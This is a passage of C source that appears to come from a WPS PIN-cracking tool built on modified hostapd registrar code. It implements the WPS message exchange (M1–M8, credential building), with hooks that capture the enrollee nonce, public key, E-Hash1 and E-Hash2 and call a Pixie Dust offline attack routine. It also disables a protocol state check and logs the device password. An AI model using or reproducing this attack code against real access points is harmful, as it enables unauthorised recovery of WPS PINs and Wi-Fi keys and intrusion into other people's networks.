WPS_SECRET_NONCE_LEN); return 0; } static int wps_build_r_snonce2(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * R-SNonce2"); wpabuf_put_be16(msg, ATTR_R_SNONCE2); wpabuf_put_be16(msg, WPS_SECRET_NONCE_LEN); wpabuf_put_data(msg, wps->snonce + WPS_SECRET_NONCE_LEN, WPS_SECRET_NONCE_LEN); return 0; } static int wps_build_cred_network_idx(struct wpabuf *msg, const struct wps_credential *cred) { wpa_printf(MSG_DEBUG, "WPS: * Network Index"); wpabuf_put_be16(msg, ATTR_NETWORK_INDEX); wpabuf_put_be16(msg, 1); wpabuf_put_u8(msg, 1); return 0; } static int wps_build_cred_ssid(struct wpabuf *msg, const struct wps_credential *cred) { wpa_printf(MSG_DEBUG, "WPS: * SSID"); wpabuf_put_be16(msg, ATTR_SSID); wpabuf_put_be16(msg, cred->ssid_len); wpabuf_put_data(msg, cred->ssid, cred->ssid_len); return 0; } static int wps_build_cred_auth_type(struct wpabuf *msg, const struct wps_credential *cred) { wpa_printf(MSG_DEBUG, "WPS: * Authentication Type (0x%x)", cred->auth_type); wpabuf_put_be16(msg, ATTR_AUTH_TYPE); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, cred->auth_type); return 0; } static int wps_build_cred_encr_type(struct wpabuf *msg, const struct wps_credential *cred) { wpa_printf(MSG_DEBUG, "WPS: * Encryption Type (0x%x)", cred->encr_type); wpabuf_put_be16(msg, ATTR_ENCR_TYPE); wpabuf_put_be16(msg, 2); wpabuf_put_be16(msg, cred->encr_type); return 0; } static int wps_build_cred_network_key(struct wpabuf *msg, const struct wps_credential *cred) { wpa_printf(MSG_DEBUG, "WPS: * Network Key (len=%d)", (int) cred->key_len); wpabuf_put_be16(msg, ATTR_NETWORK_KEY); wpabuf_put_be16(msg, cred->key_len); wpabuf_put_data(msg, cred->key, cred->key_len); return 0; } static int wps_build_cred_mac_addr(struct wpabuf *msg, const struct wps_credential *cred) { wpa_printf(MSG_DEBUG, "WPS: * MAC Address (" MACSTR ")", MAC2STR(cred->mac_addr)); wpabuf_put_be16(msg, ATTR_MAC_ADDR); wpabuf_put_be16(msg, ETH_ALEN); wpabuf_put_data(msg, cred->mac_addr, ETH_ALEN); return 0; } static int wps_build_credential(struct wpabuf *msg, const struct wps_credential *cred) { if (wps_build_cred_network_idx(msg, cred) || wps_build_cred_ssid(msg, cred) || wps_build_cred_auth_type(msg, cred) || wps_build_cred_encr_type(msg, cred) || wps_build_cred_network_key(msg, cred) || wps_build_cred_mac_addr(msg, cred)) return -1; return 0; } int wps_build_cred(struct wps_data *wps, struct wpabuf *msg) { struct wpabuf *cred; if (wps->wps->registrar->skip_cred_build) goto skip_cred_build; wpa_printf(MSG_DEBUG, "WPS: * Credential"); if (wps->use_cred) { os_memcpy(&wps->cred, wps->use_cred, sizeof(wps->cred)); goto use_provided; } os_memset(&wps->cred, 0, sizeof(wps->cred)); os_memcpy(wps->cred.ssid, wps->wps->ssid, wps->wps->ssid_len); wps->cred.ssid_len = wps->wps->ssid_len; /* Select the best authentication and encryption type */ if (wps->auth_type & WPS_AUTH_WPA2PSK) wps->auth_type = WPS_AUTH_WPA2PSK; else if (wps->auth_type & WPS_AUTH_WPAPSK) wps->auth_type = WPS_AUTH_WPAPSK; else if (wps->auth_type & WPS_AUTH_OPEN) wps->auth_type = WPS_AUTH_OPEN; else if (wps->auth_type & WPS_AUTH_SHARED) wps->auth_type = WPS_AUTH_SHARED; else { wpa_printf(MSG_DEBUG, "WPS: Unsupported auth_type 0x%x", wps->auth_type); return -1; } wps->cred.auth_type = wps->auth_type; if (wps->auth_type == WPS_AUTH_WPA2PSK || wps->auth_type == WPS_AUTH_WPAPSK) { if (wps->encr_type & WPS_ENCR_AES) wps->encr_type = WPS_ENCR_AES; else if (wps->encr_type & WPS_ENCR_TKIP) wps->encr_type = WPS_ENCR_TKIP; else { wpa_printf(MSG_DEBUG, "WPS: No suitable encryption " "type for WPA/WPA2"); return -1; } } else { if (wps->encr_type & WPS_ENCR_WEP) wps->encr_type = WPS_ENCR_WEP; else if (wps->encr_type & WPS_ENCR_NONE) wps->encr_type = WPS_ENCR_NONE; else { wpa_printf(MSG_DEBUG, "WPS: No suitable encryption " "type for non-WPA/WPA2 mode"); return -1; } } wps->cred.encr_type = wps->encr_type; /* * Set MAC address in the Credential to be the Enrollee's MAC address */ os_memcpy(wps->cred.mac_addr, wps->mac_addr_e, ETH_ALEN); if (wps->wps->wps_state == WPS_STATE_NOT_CONFIGURED && wps->wps->ap && !wps->wps->registrar->disable_auto_conf) { u8 r[16]; /* Generate a random passphrase */ if (os_get_random(r, sizeof(r)) < 0) return -1; os_free(wps->new_psk); wps->new_psk = base64_encode(r, sizeof(r), &wps->new_psk_len); if (wps->new_psk == NULL) return -1; wps->new_psk_len--; /* remove newline */ while (wps->new_psk_len && wps->new_psk[wps->new_psk_len - 1] == '=') wps->new_psk_len--; wpa_hexdump_ascii_key(MSG_DEBUG, "WPS: Generated passphrase", wps->new_psk, wps->new_psk_len); os_memcpy(wps->cred.key, wps->new_psk, wps->new_psk_len); wps->cred.key_len = wps->new_psk_len; } else if (wps->use_psk_key && wps->wps->psk_set) { char hex[65]; wpa_printf(MSG_DEBUG, "WPS: Use PSK format for Network Key"); wpa_snprintf_hex(hex, sizeof(hex), wps->wps->psk, 32); os_memcpy(wps->cred.key, hex, 32 * 2); wps->cred.key_len = 32 * 2; } else if (wps->wps->network_key) { os_memcpy(wps->cred.key, wps->wps->network_key, wps->wps->network_key_len); wps->cred.key_len = wps->wps->network_key_len; } else if (wps->auth_type & (WPS_AUTH_WPAPSK | WPS_AUTH_WPA2PSK)) { char hex[65]; /* Generate a random per-device PSK */ os_free(wps->new_psk); wps->new_psk_len = 32; wps->new_psk = os_malloc(wps->new_psk_len); if (wps->new_psk == NULL) return -1; if (os_get_random(wps->new_psk, wps->new_psk_len) < 0) { os_free(wps->new_psk); wps->new_psk = NULL; return -1; } wpa_hexdump_key(MSG_DEBUG, "WPS: Generated per-device PSK", wps->new_psk, wps->new_psk_len); wpa_snprintf_hex(hex, sizeof(hex), wps->new_psk, wps->new_psk_len); os_memcpy(wps->cred.key, hex, wps->new_psk_len * 2); wps->cred.key_len = wps->new_psk_len * 2; } use_provided: cred = wpabuf_alloc(200); if (cred == NULL) return -1; if (wps_build_credential(cred, &wps->cred)) { wpabuf_free(cred); return -1; } wpabuf_put_be16(msg, ATTR_CRED); wpabuf_put_be16(msg, wpabuf_len(cred)); wpabuf_put_buf(msg, cred); wpabuf_free(cred); skip_cred_build: if (wps->wps->registrar->extra_cred) { wpa_printf(MSG_DEBUG, "WPS: * Credential (pre-configured)"); wpabuf_put_buf(msg, wps->wps->registrar->extra_cred); } return 0; } static int wps_build_ap_settings(struct wps_data *wps, struct wpabuf *msg) { wpa_printf(MSG_DEBUG, "WPS: * AP Settings"); if (wps_build_credential(msg, &wps->cred)) return -1; return 0; } static struct wpabuf * wps_build_m2(struct wps_data *wps) { struct wpabuf *msg; if (os_get_random(wps->nonce_r, WPS_NONCE_LEN) < 0) return NULL; wpa_hexdump(MSG_DEBUG, "WPS: Registrar Nonce", wps->nonce_r, WPS_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "WPS: UUID-R", wps->uuid_r, WPS_UUID_LEN); wpa_printf(MSG_DEBUG, "WPS: Building Message M2"); msg = wpabuf_alloc(1000); if (msg == NULL) return NULL; if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_M2) || wps_build_enrollee_nonce(wps, msg) || wps_build_registrar_nonce(wps, msg) || wps_build_uuid_r(wps, msg) || wps_build_public_key(wps, msg) || wps_derive_keys(wps) || wps_build_auth_type_flags(wps, msg) || wps_build_encr_type_flags(wps, msg) || wps_build_conn_type_flags(wps, msg) || wps_build_config_methods_r(wps->wps->registrar, msg) || wps_build_device_attrs(&wps->wps->dev, msg) || wps_build_rf_bands(&wps->wps->dev, msg) || wps_build_assoc_state(wps, msg) || wps_build_config_error(msg, WPS_CFG_NO_ERROR) || wps_build_dev_password_id(msg, wps->dev_pw_id) || wps_build_os_version(&wps->wps->dev, msg) || wps_build_authenticator(wps, msg)) { wpabuf_free(msg); return NULL; } wps->int_reg = 1; wps->state = RECV_M3; return msg; } static struct wpabuf * wps_build_m2d(struct wps_data *wps) { struct wpabuf *msg; u16 err = wps->config_error; wpa_printf(MSG_DEBUG, "WPS: Building Message M2D"); msg = wpabuf_alloc(1000); if (msg == NULL) return NULL; if (wps->wps->ap && wps->wps->ap_setup_locked && err == WPS_CFG_NO_ERROR) err = WPS_CFG_SETUP_LOCKED; if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_M2D) || wps_build_enrollee_nonce(wps, msg) || wps_build_registrar_nonce(wps, msg) || wps_build_uuid_r(wps, msg) || wps_build_auth_type_flags(wps, msg) || wps_build_encr_type_flags(wps, msg) || wps_build_conn_type_flags(wps, msg) || wps_build_config_methods_r(wps->wps->registrar, msg) || wps_build_device_attrs(&wps->wps->dev, msg) || wps_build_rf_bands(&wps->wps->dev, msg) || wps_build_assoc_state(wps, msg) || wps_build_config_error(msg, err) || wps_build_os_version(&wps->wps->dev, msg)) { wpabuf_free(msg); return NULL; } wps->state = RECV_M2D_ACK; return msg; } static struct wpabuf * wps_build_m4(struct wps_data *wps) { struct wpabuf *msg, *plain; wpa_printf(MSG_DEBUG, "WPS: Building Message M4"); wpa_printf(MSG_DEBUG, "WPS: Dev Password Len: %zu", wps->dev_password_len); wpa_printf(MSG_DEBUG, "WPS: Dev Password: %s", wps->dev_password); wps_derive_psk(wps, wps->dev_password, wps->dev_password_len); plain = wpabuf_alloc(200); if (plain == NULL) return NULL; msg = wpabuf_alloc(1000); if (msg == NULL) { wpabuf_free(plain); return NULL; } wpa_printf(MSG_DEBUG, "Allocs OK, building M4 packet"); if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_M4) || wps_build_enrollee_nonce(wps, msg) || wps_build_r_hash(wps, msg) || wps_build_r_snonce1(wps, plain) || wps_build_key_wrap_auth(wps, plain) || wps_build_encr_settings(wps, msg, plain) || wps_build_authenticator(wps, msg)) { wpabuf_free(plain); wpabuf_free(msg); return NULL; } wpabuf_free(plain); wps->state = RECV_M5; return msg; } static struct wpabuf * wps_build_m6(struct wps_data *wps) { struct wpabuf *msg, *plain; wpa_printf(MSG_DEBUG, "WPS: Building Message M6"); plain = wpabuf_alloc(200); if (plain == NULL) return NULL; msg = wpabuf_alloc(1000); if (msg == NULL) { wpabuf_free(plain); return NULL; } if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_M6) || wps_build_enrollee_nonce(wps, msg) || wps_build_r_snonce2(wps, plain) || wps_build_key_wrap_auth(wps, plain) || wps_build_encr_settings(wps, msg, plain) || wps_build_authenticator(wps, msg)) { wpabuf_free(plain); wpabuf_free(msg); return NULL; } wpabuf_free(plain); wps->wps_pin_revealed = 1; wps->state = RECV_M7; return msg; } static struct wpabuf * wps_build_m8(struct wps_data *wps) { struct wpabuf *msg, *plain; wpa_printf(MSG_DEBUG, "WPS: Building Message M8"); plain = wpabuf_alloc(500); if (plain == NULL) return NULL; msg = wpabuf_alloc(1000); if (msg == NULL) { wpabuf_free(plain); return NULL; } if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_M8) || wps_build_enrollee_nonce(wps, msg) || ((wps->wps->ap || wps->er) && wps_build_cred(wps, plain)) || (!wps->wps->ap && !wps->er && wps_build_ap_settings(wps, plain)) || wps_build_key_wrap_auth(wps, plain) || wps_build_encr_settings(wps, msg, plain) || wps_build_authenticator(wps, msg)) { wpabuf_free(plain); wpabuf_free(msg); return NULL; } wpabuf_free(plain); wps->state = RECV_DONE; return msg; } static struct wpabuf * wps_build_wsc_ack(struct wps_data *wps) { struct wpabuf *msg; wpa_printf(MSG_DEBUG, "WPS: Building Message WSC_ACK"); msg = wpabuf_alloc(1000); if (msg == NULL) return NULL; if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_WSC_ACK) || wps_build_enrollee_nonce(wps, msg) || wps_build_registrar_nonce(wps, msg)) { wpabuf_free(msg); return NULL; } return msg; } static struct wpabuf * wps_build_wsc_nack(struct wps_data *wps) { struct wpabuf *msg; wpa_printf(MSG_DEBUG, "WPS: Building Message WSC_NACK"); msg = wpabuf_alloc(1000); if (msg == NULL) return NULL; if (wps_build_version(msg) || wps_build_msg_type(msg, WPS_WSC_NACK) || wps_build_enrollee_nonce(wps, msg) || wps_build_registrar_nonce(wps, msg) || wps_build_config_error(msg, wps->config_error)) { wpabuf_free(msg); return NULL; } return msg; } struct wpabuf * wps_registrar_get_msg(struct wps_data *wps, enum wsc_op_code *op_code, int type) { struct wpabuf *msg = NULL; if(wps->wps->registrar != NULL) { switch (type) { case SEND_M2: if(wps_get_dev_password(wps) >= 0) { msg = wps_build_m2(wps); cprintf(VERBOSE, "[+] Sending M2 message\n"); *op_code = WSC_MSG; break; } /* Fall through */ case SEND_WSC_NACK: msg = wps_build_wsc_nack(wps); cprintf(VERBOSE, "[+] Sending WSC NACK\n"); *op_code = WSC_NACK; break; case SEND_M4: msg = wps_build_m4(wps); cprintf(VERBOSE, "[+] Sending M4 message\n"); *op_code = WSC_MSG; break; case SEND_M6: msg = wps_build_m6(wps); cprintf(VERBOSE, "[+] Sending M6 message\n"); *op_code = WSC_MSG; break; case SEND_M8: msg = wps_build_m8(wps); cprintf(VERBOSE, "[+] Sending M8 message\n"); *op_code = WSC_MSG; break; case RECV_DONE: msg = wps_build_wsc_ack(wps); cprintf(VERBOSE, "[+] Sending WSC ACK\n"); *op_code = WSC_ACK; break; default: wpa_printf(MSG_DEBUG, "WPS: Unsupported state %d for building " "a message", wps->state); msg = NULL; break; } } if (*op_code == WSC_MSG && msg) { /* Save a copy of the last message for Authenticator derivation */ wpabuf_free(wps->last_msg); wps->last_msg = wpabuf_dup(msg); } return msg; } static int wps_process_enrollee_nonce(struct wps_data *wps, const u8 *e_nonce) { if (e_nonce == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Enrollee Nonce received"); return -1; } os_memcpy(wps->nonce_e, e_nonce, WPS_NONCE_LEN); wpa_hexdump(MSG_DEBUG, "WPS: Enrollee Nonce", wps->nonce_e, WPS_NONCE_LEN); if(pixie.do_pixie) { char buf[2048]; pixie_format(wps->nonce_e, WPS_NONCE_LEN, buf); PIXIE_SET(enonce, buf); } return 0; } static int wps_process_registrar_nonce(struct wps_data *wps, const u8 *r_nonce) { if (r_nonce == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Registrar Nonce received"); return -1; } if (os_memcmp(wps->nonce_r, r_nonce, WPS_NONCE_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: Invalid Registrar Nonce received"); return -1; } return 0; } static int wps_process_uuid_e(struct wps_data *wps, const u8 *uuid_e) { if (uuid_e == NULL) { wpa_printf(MSG_DEBUG, "WPS: No UUID-E received"); return -1; } os_memcpy(wps->uuid_e, uuid_e, WPS_UUID_LEN); wpa_hexdump(MSG_DEBUG, "WPS: UUID-E", wps->uuid_e, WPS_UUID_LEN); return 0; } static int wps_process_dev_password_id(struct wps_data *wps, const u8 *pw_id) { if (pw_id == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Device Password ID received"); return -1; } wps->dev_pw_id = WPA_GET_BE16(pw_id); wpa_printf(MSG_DEBUG, "WPS: Device Password ID %d", wps->dev_pw_id); return 0; } static int wps_process_e_hash1(struct wps_data *wps, const u8 *e_hash1) { if (e_hash1 == NULL) { wpa_printf(MSG_DEBUG, "WPS: No E-Hash1 received"); return -1; } os_memcpy(wps->peer_hash1, e_hash1, WPS_HASH_LEN); wpa_hexdump(MSG_DEBUG, "WPS: E-Hash1", wps->peer_hash1, WPS_HASH_LEN); if(pixie.do_pixie) { char buf[2048]; pixie_format(wps->peer_hash1, WPS_HASH_LEN, buf); PIXIE_SET(ehash1, buf); } return 0; } static int wps_process_e_hash2(struct wps_data *wps, const u8 *e_hash2) { if (e_hash2 == NULL) { wpa_printf(MSG_DEBUG, "WPS: No E-Hash2 received"); return -1; } os_memcpy(wps->peer_hash2, e_hash2, WPS_HASH_LEN); wpa_hexdump(MSG_DEBUG, "WPS: E-Hash2", wps->peer_hash2, WPS_HASH_LEN); if(pixie.do_pixie) { char buf[2048]; pixie_format(wps->peer_hash2, WPS_HASH_LEN, buf); PIXIE_SET(ehash2, buf); pixie_attack(); } return 0; } static int wps_process_e_snonce1(struct wps_data *wps, const u8 *e_snonce1) { u8 hash[SHA256_MAC_LEN]; const u8 *addr[4]; size_t len[4]; if (e_snonce1 == NULL) { wpa_printf(MSG_DEBUG, "WPS: No E-SNonce1 received"); return -1; } wpa_hexdump_key(MSG_DEBUG, "WPS: E-SNonce1", e_snonce1, WPS_SECRET_NONCE_LEN); /* E-Hash1 = HMAC_AuthKey(E-S1 || PSK1 || PK_E || PK_R) */ addr[0] = e_snonce1; len[0] = WPS_SECRET_NONCE_LEN; addr[1] = wps->psk1; len[1] = WPS_PSK_LEN; addr[2] = wpabuf_head(wps->dh_pubkey_e); len[2] = wpabuf_len(wps->dh_pubkey_e); addr[3] = wpabuf_head(wps->dh_pubkey_r); len[3] = wpabuf_len(wps->dh_pubkey_r); hmac_sha256_vector(wps->authkey, WPS_AUTHKEY_LEN, 4, addr, len, hash); if (os_memcmp(wps->peer_hash1, hash, WPS_HASH_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: E-Hash1 derived from E-S1 does " "not match with the pre-committed value"); wps->config_error = WPS_CFG_DEV_PASSWORD_AUTH_FAILURE; wps_pwd_auth_fail_event(wps->wps, 0, 1); return -1; } wpa_printf(MSG_DEBUG, "WPS: Enrollee proved knowledge of the first " "half of the device password"); return 0; } static int wps_process_e_snonce2(struct wps_data *wps, const u8 *e_snonce2) { u8 hash[SHA256_MAC_LEN]; const u8 *addr[4]; size_t len[4]; if (e_snonce2 == NULL) { wpa_printf(MSG_DEBUG, "WPS: No E-SNonce2 received"); return -1; } wpa_hexdump_key(MSG_DEBUG, "WPS: E-SNonce2", e_snonce2, WPS_SECRET_NONCE_LEN); /* E-Hash2 = HMAC_AuthKey(E-S2 || PSK2 || PK_E || PK_R) */ addr[0] = e_snonce2; len[0] = WPS_SECRET_NONCE_LEN; addr[1] = wps->psk2; len[1] = WPS_PSK_LEN; addr[2] = wpabuf_head(wps->dh_pubkey_e); len[2] = wpabuf_len(wps->dh_pubkey_e); addr[3] = wpabuf_head(wps->dh_pubkey_r); len[3] = wpabuf_len(wps->dh_pubkey_r); hmac_sha256_vector(wps->authkey, WPS_AUTHKEY_LEN, 4, addr, len, hash); if (os_memcmp(wps->peer_hash2, hash, WPS_HASH_LEN) != 0) { wpa_printf(MSG_DEBUG, "WPS: E-Hash2 derived from E-S2 does " "not match with the pre-committed value"); wps_registrar_invalidate_pin(wps->wps->registrar, wps->uuid_e); wps->config_error = WPS_CFG_DEV_PASSWORD_AUTH_FAILURE; wps_pwd_auth_fail_event(wps->wps, 0, 2); return -1; } wpa_printf(MSG_DEBUG, "WPS: Enrollee proved knowledge of the second " "half of the device password"); wps->wps_pin_revealed = 0; wps_registrar_unlock_pin(wps->wps->registrar, wps->uuid_e); return 0; } static int wps_process_mac_addr(struct wps_data *wps, const u8 *mac_addr) { if (mac_addr == NULL) { wpa_printf(MSG_DEBUG, "WPS: No MAC Address received"); return -1; } wpa_printf(MSG_DEBUG, "WPS: Enrollee MAC Address " MACSTR, MAC2STR(mac_addr)); os_memcpy(wps->mac_addr_e, mac_addr, ETH_ALEN); os_memcpy(wps->peer_dev.mac_addr, mac_addr, ETH_ALEN); return 0; } static int wps_process_pubkey(struct wps_data *wps, const u8 *pk, size_t pk_len) { if (pk == NULL || pk_len == 0) { wpa_printf(MSG_DEBUG, "WPS: No Public Key received"); return -1; } #ifdef CONFIG_WPS_OOB if (wps->wps->oob_conf.pubkey_hash != NULL) { const u8 *addr[1]; u8 hash[WPS_HASH_LEN]; addr[0] = pk; sha256_vector(1, addr, &pk_len, hash); if (os_memcmp(hash, wpabuf_head(wps->wps->oob_conf.pubkey_hash), WPS_OOB_PUBKEY_HASH_LEN) != 0) { wpa_printf(MSG_ERROR, "WPS: Public Key hash error"); return -1; } } #endif /* CONFIG_WPS_OOB */ wpabuf_free(wps->dh_pubkey_e); wps->dh_pubkey_e = wpabuf_alloc_copy(pk, pk_len); if (wps->dh_pubkey_e == NULL) return -1; if(pixie.do_pixie) { char buf[2048]; pixie_format(pk, 192, buf); PIXIE_SET(pke, buf); } return 0; } static int wps_process_auth_type_flags(struct wps_data *wps, const u8 *auth) { u16 auth_types; if (auth == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Authentication Type flags " "received"); return -1; } auth_types = WPA_GET_BE16(auth); wpa_printf(MSG_DEBUG, "WPS: Enrollee Authentication Type flags 0x%x", auth_types); wps->auth_type = wps->wps->auth_types & auth_types; if (wps->auth_type == 0) { wpa_printf(MSG_DEBUG, "WPS: No match in supported " "authentication types (own 0x%x Enrollee 0x%x)", wps->wps->auth_types, auth_types); #ifdef WPS_WORKAROUNDS /* * Some deployed implementations seem to advertise incorrect * information in this attribute. For example, Linksys WRT350N * seems to have a byteorder bug that breaks this negotiation. * In order to interoperate with existing implementations, * assume that the Enrollee supports everything we do. */ wpa_printf(MSG_DEBUG, "WPS: Workaround - assume Enrollee " "does not advertise supported authentication types " "correctly"); wps->auth_type = wps->wps->auth_types; #else /* WPS_WORKAROUNDS */ return -1; #endif /* WPS_WORKAROUNDS */ } return 0; } static int wps_process_encr_type_flags(struct wps_data *wps, const u8 *encr) { u16 encr_types; if (encr == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Encryption Type flags " "received"); return -1; } encr_types = WPA_GET_BE16(encr); wpa_printf(MSG_DEBUG, "WPS: Enrollee Encryption Type flags 0x%x", encr_types); wps->encr_type = wps->wps->encr_types & encr_types; if (wps->encr_type == 0) { wpa_printf(MSG_DEBUG, "WPS: No match in supported " "encryption types (own 0x%x Enrollee 0x%x)", wps->wps->encr_types, encr_types); #ifdef WPS_WORKAROUNDS /* * Some deployed implementations seem to advertise incorrect * information in this attribute. For example, Linksys WRT350N * seems to have a byteorder bug that breaks this negotiation. * In order to interoperate with existing implementations, * assume that the Enrollee supports everything we do. */ wpa_printf(MSG_DEBUG, "WPS: Workaround - assume Enrollee " "does not advertise supported encryption types " "correctly"); wps->encr_type = wps->wps->encr_types; #else /* WPS_WORKAROUNDS */ return -1; #endif /* WPS_WORKAROUNDS */ } return 0; } static int wps_process_conn_type_flags(struct wps_data *wps, const u8 *conn) { if (conn == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Connection Type flags " "received"); return -1; } wpa_printf(MSG_DEBUG, "WPS: Enrollee Connection Type flags 0x%x", *conn); return 0; } static int wps_process_config_methods(struct wps_data *wps, const u8 *methods) { u16 m; if (methods == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Config Methods received"); return -1; } m = WPA_GET_BE16(methods); wpa_printf(MSG_DEBUG, "WPS: Enrollee Config Methods 0x%x" "%s%s%s%s%s%s%s%s%s", m, m & WPS_CONFIG_USBA ? " [USBA]" : "", m & WPS_CONFIG_ETHERNET ? " [Ethernet]" : "", m & WPS_CONFIG_LABEL ? " [Label]" : "", m & WPS_CONFIG_DISPLAY ? " [Display]" : "", m & WPS_CONFIG_EXT_NFC_TOKEN ? " [Ext NFC Token]" : "", m & WPS_CONFIG_INT_NFC_TOKEN ? " [Int NFC Token]" : "", m & WPS_CONFIG_NFC_INTERFACE ? " [NFC]" : "", m & WPS_CONFIG_PUSHBUTTON ? " [PBC]" : "", m & WPS_CONFIG_KEYPAD ? " [Keypad]" : ""); if (!(m & WPS_CONFIG_DISPLAY) && !wps->use_psk_key) { /* * The Enrollee does not have a display so it is unlikely to be * able to show the passphrase to a user and as such, could * benefit from receiving PSK to reduce key derivation time. */ wpa_printf(MSG_DEBUG, "WPS: Prefer PSK format key due to " "Enrollee not supporting display"); wps->use_psk_key = 1; } return 0; } static int wps_process_wps_state(struct wps_data *wps, const u8 *state) { if (state == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Wi-Fi Protected Setup State " "received"); return -1; } wpa_printf(MSG_DEBUG, "WPS: Enrollee Wi-Fi Protected Setup State %d", *state); return 0; } static int wps_process_assoc_state(struct wps_data *wps, const u8 *assoc) { u16 a; if (assoc == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Association State received"); return -1; } a = WPA_GET_BE16(assoc); wpa_printf(MSG_DEBUG, "WPS: Enrollee Association State %d", a); return 0; } static int wps_process_config_error(struct wps_data *wps, const u8 *err) { u16 e; if (err == NULL) { wpa_printf(MSG_DEBUG, "WPS: No Configuration Error received"); return -1; } e = WPA_GET_BE16(err); wpa_printf(MSG_DEBUG, "WPS: Enrollee Configuration Error %d", e); return 0; } static enum wps_process_res wps_process_m1(struct wps_data *wps, struct wps_parse_attr *attr) { wpa_printf(MSG_DEBUG, "WPS: Received M1"); if (wps->state != RECV_M1) { wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " "receiving M1", wps->state); return WPS_FAILURE; } if (wps_process_uuid_e(wps, attr->uuid_e) || wps_process_mac_addr(wps, attr->mac_addr) || wps_process_enrollee_nonce(wps, attr->enrollee_nonce) || wps_process_pubkey(wps, attr->public_key, attr->public_key_len) || wps_process_auth_type_flags(wps, attr->auth_type_flags) || wps_process_encr_type_flags(wps, attr->encr_type_flags) || wps_process_conn_type_flags(wps, attr->conn_type_flags) || wps_process_config_methods(wps, attr->config_methods) || wps_process_wps_state(wps, attr->wps_state) || wps_process_device_attrs(&wps->peer_dev, attr) || wps_process_rf_bands(&wps->peer_dev, attr->rf_bands) || wps_process_assoc_state(wps, attr->assoc_state) || wps_process_dev_password_id(wps, attr->dev_password_id) || wps_process_config_error(wps, attr->config_error) || wps_process_os_version(&wps->peer_dev, attr->os_version)) return WPS_FAILURE; wpa_printf(MSG_DEBUG, "WPS: M1 Processed"); if (wps->dev_pw_id < 0x10 && wps->dev_pw_id != DEV_PW_DEFAULT && wps->dev_pw_id != DEV_PW_USER_SPECIFIED && wps->dev_pw_id != DEV_PW_MACHINE_SPECIFIED && wps->dev_pw_id != DEV_PW_REGISTRAR_SPECIFIED && (wps->dev_pw_id != DEV_PW_PUSHBUTTON || !wps->wps->registrar->pbc)) { wpa_printf(MSG_DEBUG, "WPS: Unsupported Device Password ID %d", wps->dev_pw_id); wps->state = SEND_M2D; return WPS_CONTINUE; } wpa_printf(MSG_DEBUG, "WPS: dev_pw_id checked"); #ifdef CONFIG_WPS_OOB if (wps->dev_pw_id >= 0x10 && wps->dev_pw_id != wps->wps->oob_dev_pw_id) { wpa_printf(MSG_DEBUG, "WPS: OOB Device Password ID " "%d mismatch", wps->dev_pw_id); wps->state = SEND_M2D; return WPS_CONTINUE; } #endif /* CONFIG_WPS_OOB */ if (wps->dev_pw_id == DEV_PW_PUSHBUTTON) { if (wps->wps->registrar->force_pbc_overlap || wps_registrar_pbc_overlap(wps->wps->registrar, wps->mac_addr_e, wps->uuid_e)) { wpa_printf(MSG_DEBUG, "WPS: PBC overlap - deny PBC " "negotiation"); wps->state = SEND_M2D; wps->config_error = WPS_CFG_MULTIPLE_PBC_DETECTED; wps_pbc_overlap_event(wps->wps); wps->wps->registrar->force_pbc_overlap = 1; return WPS_CONTINUE; } wps_registrar_add_pbc_session(wps->wps->registrar, wps->mac_addr_e, wps->uuid_e); wps->pbc = 1; } wpa_printf(MSG_DEBUG, "WPS: PBC Checked"); #ifdef WPS_WORKAROUNDS /* * It looks like Mac OS X 10.6.3 and 10.6.4 do not like Network Key in * passphrase format. To avoid interop issues, force PSK format to be * used. */ if (!wps->use_psk_key && wps->peer_dev.manufacturer && os_strncmp(wps->peer_dev.manufacturer, "Apple ", 6) == 0 && wps->peer_dev.model_name && os_strcmp(wps->peer_dev.model_name, "AirPort") == 0) { wpa_printf(MSG_DEBUG, "WPS: Workaround - Force Network Key in " "PSK format"); wps->use_psk_key = 1; } #endif /* WPS_WORKAROUNDS */ wpa_printf(MSG_DEBUG, "WPS: Entering State SEND_M2"); wps->state = SEND_M2; return WPS_CONTINUE; } static enum wps_process_res wps_process_m3(struct wps_data *wps, const struct wpabuf *msg, struct wps_parse_attr *attr) { wpa_printf(MSG_DEBUG, "WPS: Received M3"); if (wps->state != RECV_M3) { wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " "receiving M3", wps->state); wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } if (wps->pbc && wps->wps->registrar->force_pbc_overlap) { wpa_printf(MSG_DEBUG, "WPS: Reject negotiation due to PBC " "session overlap"); wps->state = SEND_WSC_NACK; wps->config_error = WPS_CFG_MULTIPLE_PBC_DETECTED; return WPS_CONTINUE; } if (wps_process_registrar_nonce(wps, attr->registrar_nonce) || wps_process_authenticator(wps, attr->authenticator, msg) || wps_process_e_hash1(wps, attr->e_hash1) || wps_process_e_hash2(wps, attr->e_hash2)) { wps->state = SEND_WSC_NACK; return WPS_CONTINUE; } wps->state = SEND_M4; return WPS_CONTINUE; } static enum wps_process_res wps_process_m5(struct wps_data *wps, const struct wpabuf *msg, struct wps_parse_attr *attr) { struct wpabuf *decrypted; struct wps_parse_attr eattr; wpa_printf(MSG_DEBUG, "WPS: Received M5"); if (wps->state != RECV_M5) { wpa_printf(MSG_DEBUG, "WPS: Unexpected state (%d) for " "receiving M5", wps->state); #if 0 wps->state = SEND_WSC_NACK; return WPS_CONTINUE; #else wps->state = RECV_M5; #endif } if (wps->pbc && wps->wps->registrar->force_pbc_overlap) { wpa_printf(MSG_DEBUG, "WPS: Reject negotiation due to PBC " "session overlap"); wps->state = 